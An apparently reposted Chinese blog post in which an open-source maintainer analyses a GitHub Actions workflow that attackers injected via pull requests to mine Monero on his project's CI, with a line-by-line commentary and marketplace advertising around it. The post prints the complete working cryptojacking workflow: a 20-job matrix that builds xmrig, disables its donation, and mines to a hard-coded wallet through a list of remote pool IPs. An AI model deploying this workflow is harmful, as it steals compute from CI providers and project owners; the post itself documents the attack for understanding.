米鼠商城

多快好省,买软件就上米鼠网

最新项目

人才服务

靠谱的IT人才垂直招聘平台

对于一个门罗币挖矿攻击的Github Actions脚本的分析

  • lxd01
  • 7
  • 2021-04-06 13:41

背景:

2021年4月5日清明当天,笔者发现自己的开源项目 tomxiong/spell-check-maven-plugin 被Github禁止了Github Action,进一步调查发现有黑客利用这个开源项目的Github Action来挖矿,这个引起了我的兴趣,特地来分析一下这个攻击如何进行的,挖矿的脚本对于编写Github Action的workflow有哪些可供学习的部分。

这篇文章主要关注在执行挖矿脚本的Github Action上,至于攻击如何进行的和如何防止后续将待整个事件结束后进一步总结。

脚本分析: 脚本地址: https://github.com/tomxiong/spell-check-maven-plugin/actions/runs/719145746/workflow

脚本执行情况

脚本内容如下

name: Run
on: [pull_request]
jobs:
    run:
        name: Run
        runs-on: ubuntu-latest
        strategy:
          fail-fast: false
          matrix:
            runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19]
        steps:
          - shell: bash
            run: |
              sudo apt-get update
              sudo apt-get install --yes \
              build-essential \
              cmake \
              git \
              libhwloc-dev \
              libssl-dev \
              libuv1-dev
              curl --location --output xmrig.tar.gz \
              https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz || exit 1
              tar xf xmrig.tar.gz || exit 1
              cd xmrig-* || exit 1
              # Izvinite)))))
              sed -i 's/= 1;/= 0;/' src/donate.h || exit 1
              mkdir build || exit 1
              cd build || exit 1
              cmake .. -DCMAKE_BUILD_TYPE=Release || exit 1
              make --jobs=$(nproc) || exit 1
              adres=49eqpX3Sn2d5cfJTevgZLGZGQmcdE37QE4TMJDmDcJeCG8DUgkbS5znSsU35Pk2HC1Lt99EnSiP9g74XpUHzTgxw23n5CkB
              servery=(
              165.0.74.146:18089
              84.58.115.216:18089
              137.103.97.192:18089
              194.5.250.42:18089
              96.41.220.52:18089
              51.79.173.165:18089
              100.19.74.83:18089
              204.27.62.98:18089
              96.43.139.226:18089
              46.4.52.92:18081
              144.76.113.157:18081
              )
              servery=( $(shuf -e "${servery[@]}") )
              cat <<EOF>config.json
              {
              "autosave": false,
              "cpu": true,
              "opencl": false,
              "cuda": false,
              "pools": []
              }
              EOF
              for server in "${servery[@]}"; do
              jq --arg server "$server" --arg adres "$adres" \
              '.pools += [{ coin: "monero", url: $server, user: $adres, daemon: true }]' \
              config.json > config.json.tmp || exit 1
              mv config.json.tmp config.json || exit 1
              done
              ./xmrig -c config.json**

逐步分析:

  1. 名称简单:Run
  2. 第2行 触发事件为: on[pull request],即这个workflow仅当有人创建到本项目的pull request即可触发,不影响main分支,也方便删除pull request和fork的分支。
  3. 第8行,fail-fase: false , 查看帮助文档,它的值如果是true的话意味着针对metrix workflow的多个节点,如果有一个失败的话,后续剩余还未执行的job会被取消,参考:https://www.edwardthomson.com/blog/github_actions_6_fail_fast_matrix_workflows.html
  4. 第9,10行,Stratege--》Metrix 可以指定执行job并行的node数以及编号,这个可以用于多节点并行执行的job,后续可以试一下如何使用。
  5. 第27行,用sed修改donat.h中将=1修改为=0,貌似关闭donat的功能,猜测挖矿时不贡献一下原作者,吃独食呀。
  6. 第46行,shuf的用法,shuf是随机排序一下输入的内容, 具体参考:https://www.geeksforgeeks.org/shuf-command-in-linux-with-examples/#:~:text=The%20shuf%20command%20in%20Linux%20writes%20a%20random,randomizes%20those%20input%20lines%20and%20displays%20the%20output.
  7. 第57行, jq的用法,利用for loop更新config.json文件中的pools


这里给大家推荐一个在线软件复杂项交易平台:米鼠网 https://www.misuland.com

米鼠网自成立以来一直专注于从事软件项目人才招聘软件商城等,始终秉承“专业的服务,易用的产品”的经营理念,以“提供高品质的服务、满足客户的需求、携手共创双赢”为企业目标,为中国境内企业提供国际化、专业化、个性化、的软件项目解决方案,我司拥有一流的项目经理团队,具备过硬的软件项目设计和实施能力,为全国不同行业客户提供优质的产品和服务,得到了客户的广泛赞誉。



如有侵权请联系邮箱(service@misuland.com)

猜你喜欢

评论留言